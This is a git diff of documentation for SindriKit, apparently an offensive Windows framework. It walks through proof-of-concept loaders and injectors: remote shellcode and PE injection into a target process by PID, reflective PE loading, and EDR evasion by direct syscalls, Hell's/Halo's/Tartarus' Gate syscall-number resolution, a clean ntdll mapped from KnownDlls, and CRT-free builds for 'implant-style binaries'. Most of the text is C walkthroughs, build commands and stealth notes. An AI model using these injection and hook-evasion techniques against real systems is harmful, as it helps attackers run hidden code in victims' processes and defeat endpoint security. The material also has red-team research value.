Excluded when `SND_CRTLESS=ON` (only `loader_noCRT_nowinapi` builds).
|
||||||
|
|
||||||
|
## OpSec impact
|
||||||
|
|
||||||
|
Bypasses 32-bit userland hooks during the transition. The PoC uses visible `VirtualAlloc` for the demo shellcode buffer.
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Heaven's Gate API](../domains/primitives/execution/heavens_gate.md)
|
||||||
|
- [Execution domain](../domains/primitives/execution/README.md)
|
||||||
|
|||||||
@@ -0,0 +1,115 @@
|
|||||||
|
# PoC: inject_pe
|
||||||
|
|
||||||
|
**Location:** `pocs/inject_pe/`
|
||||||
|
|
||||||
|
Full-stealth classic PE injection. Locally bakes a PE image (relocations + imports), writes it into a remote process, and creates a thread at the remote entry point via `snd_inj_classic_pe`.
|
||||||
|
|
||||||
|
## What it demonstrates
|
||||||
|
|
||||||
|
- Loader + injection interop (`snd_ldr_pe_ctx_t` + `snd_inj_ctx_t`)
|
||||||
|
- KnownDlls `ntdll` bootstrap for syscall resolution
|
||||||
|
- Full `_sys` / `_nt` stealth profile: `snd_mem_sys`, `snd_mod_nt`, `snd_proc_sys`
|
||||||
|
- Remote thread at PE entry RVA (DllMain address for DLL payloads — not the loader's local DllMain/TLS path)
|
||||||
|
|
||||||
|
## Command-line usage
|
||||||
|
|
||||||
|
```text
|
||||||
|
inject_pe -f <payload_path> -p <target_pid>
|
||||||
|
|
||||||
|
-f Path to PE payload (DLL or EXE)
|
||||||
|
-p Target process ID (decimal)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example
|
||||||
|
|
||||||
|
```bash
|
||||||
|
inject_pe.exe -f payload.dll -p 5678
|
||||||
|
```
|
||||||
|
|
||||||
|
For DLL payloads, the remote thread starts at `AddressOfEntryPoint` (typically `DllMain`). The classic PE chain does not run local TLS or the loader's typed DllMain invocation — see [injection techniques](../domains/injection/techniques.md).
|
||||||
|
|
||||||
|
## Walkthrough
|
||||||
|
|
||||||
|
### 1. Load PE from disk
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_buffer_t file_buf = {0};
|
||||||
|
snd_ldr_pe_ctx_t ldr_ctx = {0};
|
||||||
|
snd_inj_ctx_t inj_ctx = {0};
|
||||||
|
|
||||||
|
status = snd_disk_buffer_load(file_path, &file_buf);
|
||||||
|
ldr_ctx.raw_source = &file_buf;
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Bootstrap clean `ntdll` + syscall pipeline
|
||||||
|
|
||||||
|
```c
|
||||||
|
PVOID ntdll = NULL;
|
||||||
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Configure loader and injection contexts
|
||||||
|
|
||||||
|
```c
|
||||||
|
ldr_ctx.mem_api = &snd_mem_sys; // direct syscalls for local mapping
|
||||||
|
ldr_ctx.mod_api = &snd_mod_nt; // PEB + EAT import resolution
|
||||||
|
|
||||||
|
inj_ctx.target_pid = target_pid;
|
||||||
|
inj_ctx.proc_api = &snd_proc_sys; // direct syscalls for remote ops
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Single chain call
|
||||||
|
|
||||||
|
```c
|
||||||
|
status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx);
|
||||||
|
```
|
||||||
|
|
||||||
|
Internally this interleaves loader fixups with remote allocation:
|
||||||
|
|
||||||
|
1. Parse PE, allocate/copy locally
|
||||||
|
2. Open target, allocate remote RW region
|
||||||
|
3. Set `execution_base = remote_base`, apply relocations + imports locally
|
||||||
|
4. Write baked image to remote process
|
||||||
|
5. Protect remote region RX, set `remote_entry_point` to entry VA
|
||||||
|
6. Create remote thread
|
||||||
|
|
||||||
|
### 5. Cleanup
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_inj_cleanup(&inj_ctx);
|
||||||
|
snd_ldr_pe_free_mapped_image(&ldr_ctx);
|
||||||
|
snd_buffer_free(&file_buf);
|
||||||
|
```
|
||||||
|
|
||||||
|
## What this PoC does *not* do
|
||||||
|
|
||||||
|
- No per-section remote protections (flat `PAGE_EXECUTE_READ` on the whole image)
|
||||||
|
- No TLS callback execution in the injection chain
|
||||||
|
- No local `snd_ldr_pe_execute_image` — execution is entirely remote
|
||||||
|
|
||||||
|
See [injection techniques](../domains/injection/techniques.md) for the full step table.
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec impact
|
||||||
|
|
||||||
|
- Local memory: direct syscalls (`snd_mem_sys`)
|
||||||
|
- Imports: PEB walk + EAT parsing (`snd_mod_nt`)
|
||||||
|
- Remote ops: direct syscalls (`snd_proc_sys`)
|
||||||
|
- SSN resolution against KnownDlls-mapped clean `ntdll`
|
||||||
|
|
||||||
|
This is the reference stealth profile for cross-process PE injection in SindriKit.
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Injection API reference](../domains/injection/api_reference.md)
|
||||||
|
- [inject_shell.md](inject_shell.md) — simpler shellcode path with Win32 remote APIs
|
||||||
|
- [loader_nowinapi.md](loader_nowinapi.md) — local-only NT profile
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
# PoC: inject_shell
|
||||||
|
|
||||||
|
**Location:** `pocs/inject_shell/`
|
||||||
|
|
||||||
|
Classic remote shellcode injection into a target process. Reads raw bytes from disk and runs the full **Alloc → Write → Protect → Execute** pipeline via `snd_inj_classic_shell`.
|
||||||
|
|
||||||
|
## What it demonstrates
|
||||||
|
|
||||||
|
- Shared injection context (`snd_inj_ctx_t`) with `snd_inj_classic_shell`
|
||||||
|
- KnownDlls bootstrap + syscall pipeline setup (present in source)
|
||||||
|
- Win32 remote process API (`snd_proc_win`) for cross-process operations
|
||||||
|
- Disk payload loading with `snd_disk_buffer_load`
|
||||||
|
|
||||||
|
## Command-line usage
|
||||||
|
|
||||||
|
```text
|
||||||
|
inject_shell -f <payload_path> -p <target_pid>
|
||||||
|
|
||||||
|
-f Path to raw shellcode file
|
||||||
|
-p Target process ID (decimal)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example
|
||||||
|
|
||||||
|
```bash
|
||||||
|
inject_shell.exe -f shellcode.bin -p 1234
|
||||||
|
```
|
||||||
|
|
||||||
|
The remote thread starts at the allocation base — the entire file contents are treated as executable shellcode.
|
||||||
|
|
||||||
|
## Walkthrough
|
||||||
|
|
||||||
|
### 1. Load shellcode
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_buffer_t inject_buf = {0};
|
||||||
|
snd_inj_ctx_t inj_ctx = {0};
|
||||||
|
|
||||||
|
status = snd_disk_buffer_load(file_path, &inject_buf);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Bootstrap syscall pipeline (optional for current profile)
|
||||||
|
|
||||||
|
```c
|
||||||
|
PVOID ntdll = NULL;
|
||||||
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
```
|
||||||
|
|
||||||
|
This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations.
|
||||||
|
|
||||||
|
### 3. Configure injection context
|
||||||
|
|
||||||
|
```c
|
||||||
|
inj_ctx.target_pid = target_pid;
|
||||||
|
inj_ctx.payload = &inject_buf;
|
||||||
|
inj_ctx.proc_api = &snd_proc_win;
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Run classic shell chain
|
||||||
|
|
||||||
|
```c
|
||||||
|
status = snd_inj_classic_shell(&inj_ctx);
|
||||||
|
// open → alloc (RW) → write → protect (RX) → create_remote_thread
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Cleanup
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_inj_cleanup(&inj_ctx);
|
||||||
|
snd_buffer_free(&inject_buf);
|
||||||
|
```
|
||||||
|
|
||||||
|
## Pipeline stages
|
||||||
|
|
||||||
|
| Step | Engine function | Remote effect |
|
||||||
|
|---|---|---|
|
||||||
|
| Open | `snd_inj_classic_open_target` | `OpenProcess(PROCESS_ALL_ACCESS)` |
|
||||||
|
| Alloc | `snd_inj_classic_alloc_remote` | `VirtualAllocEx` RW, size = shellcode length |
|
||||||
|
| Write | `snd_inj_classic_write_payload` | `WriteProcessMemory` |
|
||||||
|
| Protect | `snd_inj_classic_set_protections` | `VirtualProtectEx` → `PAGE_EXECUTE_READ` |
|
||||||
|
| Execute | `snd_inj_classic_execute` | `CreateRemoteThread` at allocation base |
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec impact
|
||||||
|
|
||||||
|
**High visibility** — Win32 cross-process APIs. Suitable for validating the injection state machine before switching to `snd_proc_sys`.
|
||||||
|
|
||||||
|
For a stealth shellcode profile, keep the KnownDlls bootstrap and set `inj_ctx.proc_api = &snd_proc_sys`.
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Injection techniques](../domains/injection/techniques.md)
|
||||||
|
- [inject_pe.md](inject_pe.md) — PE payload with full `_sys` profile
|
||||||
@@ -1,58 +1,88 @@
|
|||||||
# Evasive Loader (No-CRT / No-WinAPI)
|
# PoC: loader_noCRT_nowinapi
|
||||||
|
|
||||||
**Path:** `pocs/loader_noCRT_nowinapi`
|
**Location:** `pocs/loader_noCRT_nowinapi/`
|
||||||
|
|
||||||
This Proof-of-Concept demonstrates the ultimate operational profile of SindriKit: a reflective loader completely independent of both high-level Windows APIs and the Microsoft C Runtime (CRT). By combining direct syscalls via Hell's Gate, PEB module walking, and the `/NODEFAULTLIB` compiler flag, this loader achieves a minimal, stealthy footprint ideal for production implants.
|
Minimal reflective loader with the Microsoft CRT stripped (`/NODEFAULTLIB`). Demonstrates SindriKit's CRT manifest fallbacks and the smallest viable integration surface for implant-style binaries.
|
||||||
|
|
||||||
## 1. CRT Independence
|
## What it demonstrates
|
||||||
|
|
||||||
When compiled in Release mode (`SND_ENABLE_DEBUG=OFF`), this PoC invokes strict CRT-stripping flags:
|
- Release build with `/NODEFAULTLIB` and `/ENTRY:main`
|
||||||
```cmake
|
- PEB hash walk for `ntdll` (`snd_peb_get_module_base_hash`) — no disk read
|
||||||
target_link_options(loader_noCRT_nowinapi PRIVATE
|
- Syscall scan strategy (single resolver, no sort fallback)
|
||||||
/NODEFAULTLIB
|
- Mixed profile: `snd_mem_win` + `snd_mod_nt`
|
||||||
/ENTRY:main
|
- Hardcoded payload path (edit source before building)
|
||||||
)
|
|
||||||
```
|
|
||||||
Without the CRT, standard functions like `memcpy` or `memset` are unavailable. SindriKit compensates for this by selectively compiling `src/common/crt_manifest.c` in Release builds, providing framework-native intrinsic fallbacks. This ensures the compiled artifact contains no implicit telemetry or standard library dependencies.
|
|
||||||
|
|
||||||
## 2. Global `ntdll.dll` Resolution
|
## Walkthrough
|
||||||
|
|
||||||
Because the PoC operates without Win32 APIs (like `GetModuleHandle`), it must resolve its own dependencies manually. It does this by walking the Process Environment Block (PEB) to locate `ntdll.dll` by its compile-time hash.
|
No CLI — edit `file_path` in `main.c` before building.
|
||||||
|
|
||||||
|
### 1. Bootstrap `ntdll` from PEB
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID ntdll;
|
PVOID ntdll = NULL;
|
||||||
status = snd_peb_get_module_base_by_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
||||||
|
snd_syscall_set_ntdll(ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
```
|
```
|
||||||
|
|
||||||
Once resolved, it globally registers the `ntdll` base using the modules API, allowing the rest of the framework (like the native memory allocator or module loader) to utilize it implicitly.
|
### 2. Configure loader context
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_set_ntdll(ntdll);
|
const char *file_path = "payload.exe";
|
||||||
|
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.mem_api = &snd_mem_win;
|
||||||
|
ctx.mod_api = &snd_mod_nt;
|
||||||
```
|
```
|
||||||
|
|
||||||
## 3. Syscall Strategy
|
### 3. Load, prepare, execute
|
||||||
|
|
||||||
The PoC activates the `snd_hell_extract_syscall` strategy. From this point forward, memory allocations and page protections required during the reflective loading process are executed via dynamically resolved syscalls, entirely bypassing user-land hooks in `ntdll.dll`.
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
status = snd_disk_buffer_load(file_path, &file_buf);
|
||||||
|
ctx.raw_source = &file_buf;
|
||||||
|
|
||||||
|
status = snd_ldr_pe_prepare_image(&ctx);
|
||||||
|
status = snd_ldr_pe_execute_image(&ctx);
|
||||||
```
|
```
|
||||||
|
|
||||||
## 4. Execution
|
No DLL export FFI (`-e`/`-a`).
|
||||||
|
|
||||||
Like the other loaders, the context is populated with the Native APIs (`snd_mem_native`, `snd_mod_native`), and the target payload is loaded, mapped, and executed reflectively from memory.
|
### 4. Cleanup
|
||||||
|
|
||||||
## Building and Running
|
```c
|
||||||
|
snd_ldr_pe_detach_image(&ctx); // no-op unless stage == EXECUTED
|
||||||
|
snd_ldr_pe_free_mapped_image(&ctx);
|
||||||
|
snd_buffer_free(&file_buf);
|
||||||
|
```
|
||||||
|
|
||||||
To compile this PoC specifically, ensure you are building in Release mode:
|
## Building
|
||||||
|
|
||||||
|
CRT-less mode **replaces** the full PoC set with this target. Debug must be off:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Debug must be OFF to strip the CRT
|
cmake -B build -DSND_CRTLESS=ON -DSND_ENABLE_DEBUG=OFF -DSND_BUILD_PAYLOADS=ON
|
||||||
cmake -B build -DSND_BUILD_PAYLOADS=ON -DSND_ENABLE_DEBUG=OFF
|
|
||||||
cmake --build build --config Release
|
cmake --build build --config Release
|
||||||
```
|
```
|
||||||
|
|
||||||
Execution:
|
When `SND_CRTLESS=ON`, the engine compiles `src/common/crt_manifest.c` for intrinsic `memcpy`/`memset` fallbacks. PoC CMake adds:
|
||||||
```bash
|
|
||||||
build\pocs\loader_noCRT_nowinapi\Release\loader_noCRT_nowinapi.exe
|
```cmake
|
||||||
|
target_link_options(loader_noCRT_nowinapi PRIVATE /NODEFAULTLIB /ENTRY:main)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> `SND_BUILD_TESTS=ON` forces `SND_CRTLESS=OFF`. Use a clean build directory when switching modes.
|
||||||
|
|
||||||
|
Output: `build/pocs/loader_noCRT_nowinapi/Release/loader_noCRT_nowinapi.exe`
|
||||||
|
|
||||||
|
## OpSec impact
|
||||||
|
|
||||||
|
- No implicit CRT telemetry or default library imports
|
||||||
|
- PEB-only `ntdll` resolution (no KnownDlls, no disk read)
|
||||||
|
- Memory still uses Win32 `VirtualAlloc` via `snd_mem_win` — swap to `snd_mem_sys` for full stealth
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Building: CRT-less tier](../getting_started/building.md)
|
||||||
|
- [Common infrastructure](../common/infrastructure.md)
|
||||||
|
- [loader_nowinapi.md](loader_nowinapi.md) — full CLI loader with NT backends
|
||||||
|
|||||||
@@ -2,70 +2,95 @@
|
|||||||
|
|
||||||
**Location:** `pocs/loader_nowinapi/`
|
**Location:** `pocs/loader_nowinapi/`
|
||||||
|
|
||||||
This PoC drops the entire Win32 API layer. It retrieves a clean `ntdll.dll` from KnownDlls, configures a cascading SSN resolution pipeline, and then loads the payload using only direct kernel syscalls and PEB walking.
|
Evasive local reflective loading without Win32 memory/module APIs. Uses NT API resolution (`snd_mem_nt`, `snd_mod_nt`) after bootstrapping the syscall pipeline with a clean `ntdll` base.
|
||||||
|
|
||||||
## What it demonstrates
|
## What it demonstrates
|
||||||
|
|
||||||
- The full SindriKit bootstrapping sequence required before any native primitive can be used.
|
- Syscall pipeline bootstrap (`snd_syscall_set_ntdll`, cascading resolvers)
|
||||||
- The complete cascading syscall pipeline covering four EDR hook evasion strategies.
|
- Same loader chain as `loader_winapi` with different injected API tables
|
||||||
- That the loader's core logic is entirely unchanged — only the injected API tables differ from `loader_winapi`.
|
- Three commented alternatives for obtaining `ntdll` (disk, PEB, KnownDlls)
|
||||||
|
- DLL export FFI (`-e`/`-a`) identical to the Win32 PoC
|
||||||
|
|
||||||
|
## Command-line usage
|
||||||
|
|
||||||
|
Same flags as `loader_winapi`:
|
||||||
|
|
||||||
|
```text
|
||||||
|
loader_nowinapi -f <payload_path> [-e <export_name>] [-a <arg>]...
|
||||||
|
```
|
||||||
|
|
||||||
## Walkthrough
|
## Walkthrough
|
||||||
|
|
||||||
The bootstrapping phase must complete before the loader context is initialized.
|
### 1. Bootstrap `ntdll` for syscall resolution
|
||||||
|
|
||||||
### Step 1: Retrieve a clean `ntdll.dll` from KnownDlls
|
The PoC loads `ntdll.dll` from disk into a buffer and registers it as the syscall scan base:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
PVOID clean_ntdll = NULL;
|
snd_buffer_t ntdll_buf = {0};
|
||||||
|
status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
|
||||||
|
PVOID ntdll = ntdll_buf.data;
|
||||||
|
|
||||||
// Configure the KnownDlls loader to use Win32 wrappers for the initial bootstrap.
|
snd_syscall_set_ntdll(ntdll);
|
||||||
// (Native strategy is available once the syscall pipeline itself is armed.)
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
snd_status_t status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &clean_ntdll);
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
```
|
```
|
||||||
|
|
||||||
This maps a clean, pre-hook copy of `ntdll.dll` directly from the `\KnownDlls` Object Manager directory. The EDR's hooks on the PEB-resident copy do not exist in this mapping.
|
Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs):
|
||||||
|
|
||||||
### Step 2: Feed the clean base to the global cache
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_set_ntdll(clean_ntdll);
|
// PEB walk — no disk read (correct API):
|
||||||
|
status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
|
||||||
|
|
||||||
|
// KnownDlls — unhooked section mapping
|
||||||
|
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
|
||||||
```
|
```
|
||||||
|
|
||||||
This globally registers the unhooked `ntdll.dll` base. It will be used by the syscall resolution pipeline to extract unhooked stub bytes, and by the Native module API (`snd_mod_native`) to implicitly resolve APIs like `LdrLoadDll` without additional PEB lookups.
|
> [!NOTE]
|
||||||
|
> The commented PEB block in source currently calls `snd_peb_get_module_base(SND_HASH_NTDLL_DLL, …)` — that is incorrect (first argument must be a wide module name, not a hash). Use `snd_peb_get_module_base_hash` as shown above.
|
||||||
|
|
||||||
### Step 3: Configure the cascading syscall pipeline
|
### 2. Inject NT primitives
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_set_syscall_strategy(snd_hell_extract_syscall);
|
ctx.mem_api = &snd_mem_nt; // NtAllocateVirtualMemory via PEB + EAT
|
||||||
snd_add_syscall_strategy(snd_halo_extract_syscall);
|
ctx.mod_api = &snd_mod_nt; // PEB walk + manual export parsing
|
||||||
snd_add_syscall_strategy(snd_tartarus_extract_syscall);
|
|
||||||
snd_add_syscall_strategy(snd_veles_extract_syscall);
|
|
||||||
```
|
```
|
||||||
|
|
||||||
`snd_resolve_syscall` will now attempt each strategy in order, returning on the first success. This covers unhooked stubs (Hell's Gate), `0xE9`-hooked stubs (Halo's Gate), `0xEB`-hooked stubs (Tartarus' Gate), and the `syscall`-anchor fallback (VelesReek).
|
> [!NOTE]
|
||||||
|
> This PoC uses `_nt` backends, not `_sys`. The syscall pipeline is bootstrapped so you can swap `ctx.mem_api` to `&snd_mem_sys` without other changes. See [inject_pe.md](inject_pe.md) for a full `_sys` profile.
|
||||||
|
|
||||||
### Step 4: Load the payload and initialize the loader context
|
### 3. Load, prepare, execute
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_buffer_t payload = { ... }; // raw PE bytes from disk
|
status = snd_disk_buffer_load(file_path, &file_buf);
|
||||||
|
ctx.raw_source = &file_buf;
|
||||||
|
|
||||||
snd_loader_ctx_t ctx = {0};
|
status = snd_ldr_pe_prepare_image(&ctx);
|
||||||
ctx.raw_source = &payload;
|
status = snd_ldr_pe_execute_image(&ctx);
|
||||||
ctx.mem_api = &snd_mem_native; // -> NtAllocateVirtualMemory via direct syscall
|
|
||||||
ctx.mod_api = &snd_mod_native; // -> PEB walking + manual export table parsing
|
// Optional DLL export via snd_ldr_pe_get_proc_address + snd_ffi_execute
|
||||||
```
|
```
|
||||||
|
|
||||||
### Step 5: Execute
|
### 4. Cleanup
|
||||||
|
|
||||||
```c
|
```c
|
||||||
snd_status_t s = snd_prepare_reflective_image(&ctx);
|
snd_ldr_pe_detach_image(&ctx);
|
||||||
if (s.code != SND_SUCCESS) {
|
snd_ldr_pe_free_mapped_image(&ctx);
|
||||||
snd_status_print(s);
|
snd_buffer_free(&file_buf);
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
s = snd_execute_reflective_image(&ctx);
|
|
||||||
```
|
```
|
||||||
|
|
||||||
**OpSec impact:** `VirtualAlloc` and `VirtualProtect` are never called. Memory allocation goes directly to `NtAllocateVirtualMemory` via the SSN resolved from the clean KnownDlls ntdll copy. Import resolution uses PEB walking for module base lookup and manual export table parsing for symbol resolution.
|
## Building
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec impact
|
||||||
|
|
||||||
|
Avoids `VirtualAlloc`, `LoadLibraryA`, and `GetProcAddress`. Memory and imports still execute through in-process `ntdll` stubs (inline hooks may fire). Disk read of `ntdll.dll` may be logged by AV.
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Syscall pipeline](../domains/primitives/syscalls/pipeline.md)
|
||||||
|
- [loader_winapi.md](loader_winapi.md) — Win32 baseline
|
||||||
|
- [inject_pe.md](inject_pe.md) — full `_sys` cross-process profile
|
||||||
|
|||||||
@@ -2,43 +2,101 @@
|
|||||||
|
|
||||||
**Location:** `pocs/loader_winapi/`
|
**Location:** `pocs/loader_winapi/`
|
||||||
|
|
||||||
This PoC loads a raw PE payload from disk using standard, fully documented Win32 APIs throughout. Every memory operation (`VirtualAlloc`, `VirtualProtect`) and every module operation (`LoadLibraryA`, `GetProcAddress`) hits the standard API layer and any EDR hooks installed on it. It is intended strictly for diagnostic use and pipeline validation, not operational deployment.
|
Diagnostic baseline for the reflective PE loader. Every memory and module operation uses standard Win32 APIs (`VirtualAlloc`, `LoadLibraryA`, etc.). Intended for pipeline validation and debugging — not operational deployment.
|
||||||
|
|
||||||
## What it demonstrates
|
## What it demonstrates
|
||||||
|
|
||||||
- The baseline reflective loading pipeline: parse → alloc → map → relocate → resolve imports → protect → TLS → execute.
|
- Full reflective chain: `snd_ldr_pe_prepare_image` → `snd_ldr_pe_execute_image`
|
||||||
- That the context-based architecture works correctly before introducing evasion complexity.
|
- Auto-detected DLL vs EXE payloads
|
||||||
- A clean baseline to diff against when debugging why a stealth variant fails.
|
- Post-load DLL export invocation via `snd_ldr_pe_get_proc_address` + `snd_ffi_execute`
|
||||||
|
- Win32 DI profile: `snd_mem_win` + `snd_mod_win`
|
||||||
|
|
||||||
|
## Command-line usage
|
||||||
|
|
||||||
|
```text
|
||||||
|
loader_winapi -f <payload_path> [-e <export_name>] [-a <arg>]...
|
||||||
|
|
||||||
|
-f Path to PE payload (DLL or EXE)
|
||||||
|
-e Export name (required for DLL payloads after DllMain)
|
||||||
|
-a Argument to pass to export (decimal or 0x hex). Repeat up to 32 times.
|
||||||
|
Non-numeric values are passed as string pointers.
|
||||||
|
```
|
||||||
|
|
||||||
|
**EXE:** entry point runs during `snd_ldr_pe_execute_image`; `-e`/`-a` are ignored.
|
||||||
|
|
||||||
|
**DLL:** `DllMain(DLL_PROCESS_ATTACH)` runs first, then `-e` export is resolved and called through the FFI bridge with `-a` arguments.
|
||||||
|
|
||||||
|
### Examples
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Run a reflective EXE payload locally
|
||||||
|
loader_winapi.exe -f payload.exe
|
||||||
|
|
||||||
|
# Load DLL, run DllMain, then call an export with two numeric args
|
||||||
|
loader_winapi.exe -f payload.dll -e Run -a 0x1 -a 0x2
|
||||||
|
|
||||||
|
# Pass a string pointer argument
|
||||||
|
loader_winapi.exe -f payload.dll -e PrintMsg -a "hello"
|
||||||
|
```
|
||||||
|
|
||||||
## Walkthrough
|
## Walkthrough
|
||||||
|
|
||||||
No syscall bootstrapping is required. The setup reduces to injecting the Win32-backed API tables and calling the execution chain wrapper:
|
### 1. Load payload from disk
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// Read the raw PE payload from disk into a buffer
|
snd_buffer_t file_buf = {0};
|
||||||
snd_buffer_t payload = { ... };
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
|
||||||
// Initialize the loader context with Win32 primitives
|
status = snd_disk_buffer_load(file_path, &file_buf);
|
||||||
snd_loader_ctx_t ctx = {0};
|
ctx.raw_source = &file_buf;
|
||||||
ctx.raw_source = &payload;
|
|
||||||
ctx.mem_api = &snd_mem_win; // -> VirtualAlloc / VirtualProtect
|
|
||||||
ctx.mod_api = &snd_mod_win; // -> LoadLibraryA / GetProcAddress
|
|
||||||
|
|
||||||
// Run the full prepare chain (parse, alloc, map, relocate, IAT, protect, TLS)
|
|
||||||
snd_status_t s = snd_prepare_reflective_image(&ctx);
|
|
||||||
if (s.code != SND_SUCCESS) {
|
|
||||||
snd_status_print(s);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Execute the entry point
|
|
||||||
s = snd_execute_reflective_image(&ctx);
|
|
||||||
if (s.code != SND_SUCCESS) {
|
|
||||||
snd_status_print(s);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Optional cleanup
|
|
||||||
snd_free_mapped_image(&ctx);
|
|
||||||
```
|
```
|
||||||
|
|
||||||
**OpSec impact:** Every allocation and protection change is made via documented Win32 APIs. Any EDR with userland hooks on `VirtualAlloc` and `VirtualProtect` will see every operation in full. String artifacts from `LoadLibraryA` calls appear in the call stack. This profile is an absolute EDR flare.
|
### 2. Inject Win32 primitives
|
||||||
|
|
||||||
|
No syscall bootstrap required.
|
||||||
|
|
||||||
|
```c
|
||||||
|
ctx.mem_api = &snd_mem_win;
|
||||||
|
ctx.mod_api = &snd_mod_win;
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Prepare and execute
|
||||||
|
|
||||||
|
```c
|
||||||
|
status = snd_ldr_pe_prepare_image(&ctx); // parse → map → reloc → imports → protect
|
||||||
|
status = snd_ldr_pe_execute_image(&ctx); // TLS + DllMain or EXE entry
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Optional DLL export call
|
||||||
|
|
||||||
|
```c
|
||||||
|
FARPROC fn = NULL;
|
||||||
|
snd_ldr_pe_get_proc_address(&ctx, export_name, &fn);
|
||||||
|
UINT_PTR ret = snd_ffi_execute((PVOID)(UINT_PTR)fn, call_argc, call_args);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Cleanup
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_detach_image(&ctx);
|
||||||
|
snd_ldr_pe_free_mapped_image(&ctx);
|
||||||
|
snd_buffer_free(&file_buf);
|
||||||
|
```
|
||||||
|
|
||||||
|
## Building
|
||||||
|
|
||||||
|
Included in the default PoC build (`SND_CRTLESS=OFF`):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec impact
|
||||||
|
|
||||||
|
Maximum telemetry: every allocation, protection change, and import resolution is visible to userland EDR hooks on `kernel32.dll` and `ntdll.dll`.
|
||||||
|
|
||||||
|
## See also
|
||||||
|
|
||||||
|
- [Loaders techniques](../domains/loaders/techniques.md)
|
||||||
|
- [loader_nowinapi.md](loader_nowinapi.md) — NT API profile
|
||||||
|
|||||||
@@ -1,9 +1,30 @@
|
|||||||
# Getting Started
|
# Getting Started
|
||||||
|
|
||||||
This directory contains introductory guides and onboarding documentation for building and operating SindriKit.
|
Onboarding guides for building SindriKit and wiring dependency-injection primitives into loaders, injection chains, and PoCs.
|
||||||
|
|
||||||
|
## Quick start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build -DSND_BUILD_PAYLOADS=ON
|
||||||
|
cmake --build build --config Release
|
||||||
|
build/pocs/loader_winapi/Release/loader_winapi.exe -f payload.dll -e DllRegisterServer
|
||||||
|
```
|
||||||
|
|
||||||
